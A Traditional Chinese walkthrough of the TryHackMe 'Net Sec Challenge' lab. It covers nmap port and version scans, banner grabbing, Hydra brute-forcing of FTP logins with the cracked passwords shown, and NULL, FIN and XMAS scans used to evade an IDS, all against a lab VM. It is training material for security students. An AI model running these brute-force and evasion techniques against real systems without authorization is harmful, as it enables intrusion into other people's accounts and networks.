TryHackMe Net Sec Challenge writeup (zh-TW)
房間資訊
- 平台: TryHackMe
- 房間名稱: Net Sec Challenge
- 難度: Medium
- 題目連結: https://tryhackme.com/room/netsecchallenge
- 簡介: 這個挑戰旨在測試你在網路安全模組中學到的技能。所有問題都可以使用 nmap、telnet 和 hydra 來解決。
Task 1: Introduction
Q1: Launch the AttackBox and the target VM
答案: No answer needed
Task 2: Challenge Questions
Q1: What is the highest port number being open less than 10,000?
指令:
nmap -Pn --top-ports 10000 10.201.107.10
解釋:
-Pn: 跳過 ping 檢測,假設主機在線--top-ports 10000: 掃描最常見的 10000 個埠號
答案: 8080
Q2: There is an open port outside the common 1000 ports; it is above 10,000. What is it?
指令:
nmap -p 10000-65535 10.201.107.10 -T4 --open
解釋:
-p 10000-65535: 掃描 10000 到 65535 埠號範圍-T4: 使用較快的時間模板(Aggressive)--open: 只顯示開放的埠號
答案: 10021
Q3: How many TCP ports are open?
從前面的掃描結果可以看出,開放的埠號有:
- 22 (SSH)
- 80 (HTTP)
- 139 (NetBIOS)
- 445 (SMB)
- 8080 (HTTP Proxy)
- 10021 (FTP)
答案: 6
Q4: What is the flag hidden in the HTTP server header?
指令:
curl -I 10.201.107.10
或者使用 nmap:
nmap -p 80 --script http-server-header 10.201.107.10
解釋:
curl -I: 只獲取 HTTP 回應標頭- HTTP header 中會包含隱藏的 flag
答案: (在 HTTP server header 中的 flag)
Q5: What is the flag hidden in the SSH server header?
指令:
telnet 10.201.107.10 22
或者使用 nmap:
nmap -p 22 -sV 10.201.107.10
解釋:
- 連接到 SSH 埠號後,伺服器會回傳 banner 資訊
- Flag 隱藏在 SSH banner 中
答案: (在 SSH banner 中的 flag)
Q6: We have an FTP server listening on a nonstandard port. What is the version of the FTP server?
指令:
nmap -sV -sC 10.201.107.10 -p 10021
解釋:
-sV: 版本偵測-sC: 執行預設腳本掃描-p 10021: 指定非標準 FTP 埠號
輸出範例:
10021/tcp open ftp vsftpd 3.0.5
答案: vsftpd 3.0.5
Q7: We learned two usernames using social engineering: eddie and quinn. What is the flag hidden in one of these two account files and accessible via FTP?
步驟 1: 使用 Hydra 暴力破解密碼
破解 eddie 的密碼:
hydra -l eddie -P /usr/share/wordlists/rockyou.txt ftp://10.201.107.10 -s 10021
結果:
[10021][ftp] host: 10.201.107.10 login: eddie password: jordan
破解 quinn 的密碼:
hydra -l quinn -P /usr/share/wordlists/rockyou.txt ftp://10.201.107.10 -s 10021
結果:
[10021][ftp] host: 10.201.107.10 login: quinn password: andrea
步驟 2: 登入 FTP 查找 flag
登入 eddie 帳戶:
ftp 10.201.107.10 10021
Name: eddie
Password: jordan
ftp> ls
# (空目錄)
ftp> exit
登入 quinn 帳戶:
ftp 10.201.107.10 10021
Name: quinn
Password: andrea
ftp> ls
-rw-rw-r-- 1 1002 1002 18 Sep 20 2021 ftp_flag.txt
ftp> get ftp_flag.txt
ftp> exit
查看 flag:
cat ftp_flag.txt
答案: (ftp_flag.txt 中的內容)
Q8: Browsing to http://10.201.107.10:8080 displays a small challenge that will give you a flag once you solve it. What is the flag?
這題要求你盡可能隱蔽地掃描目標機器,避免被 IDS(入侵偵測系統)發現。
關鍵步驟:
- 在網頁上點擊 "Reset Packet Count" 按鈕(重置檢測計數)
- 使用隱蔽掃描技術
最佳解法 - NULL SCAN:
指令:
sudo nmap -sN 10.201.107.10
為什麼 NULL SCAN 有效?
- NULL 掃描不設定任何 TCP 標誌位元(no SYN, ACK, RST, FIN 等)
- 發送的是「空」封包,看起來不像正常的連線嘗試
- 許多 IDS/防火牆設定為不阻擋這類流量
- 因此更容易繞過偵測
其他可能的隱蔽掃描方法:
FIN Scan:
sudo nmap -sF 10.201.107.10 -T1 --mtu 8
XMAS Scan:
sudo nmap -sX 10.201.107.10
驗證結果:
不必等到掃描完成,只要用隱蔽的指令,重新整理網頁 http://10.201.107.10:8080,如果顯示 0% Chance of scan being detected,就會顯示 flag!
技術重點
- 埠號掃描技術(全埠號掃描、範圍掃描)- 根據任務需求選擇合適的掃描參數
- 服務版本識別 - 非標準埠號上的服務需要特別注意
- HTTP/SSH banner grabbing - 從服務標頭中提取隱藏資訊
- 密碼暴力破解 - 使用 Hydra 配合字典檔攻擊
- IDS 迴避技術(NULL/FIN/XMAS 掃描)- 隱蔽掃描技術對於滲透測試很重要,NULL 掃描是繞過簡單 IDS 的有效方法
經驗分享
關於Q8:
這一題一開始試了很多掃描方法,但都被偵測到,好比封包分片(-f),但這裡不確定他後端是怎麼判斷的,實務上,以我的經驗,NULL scan確實少見。
Member discussion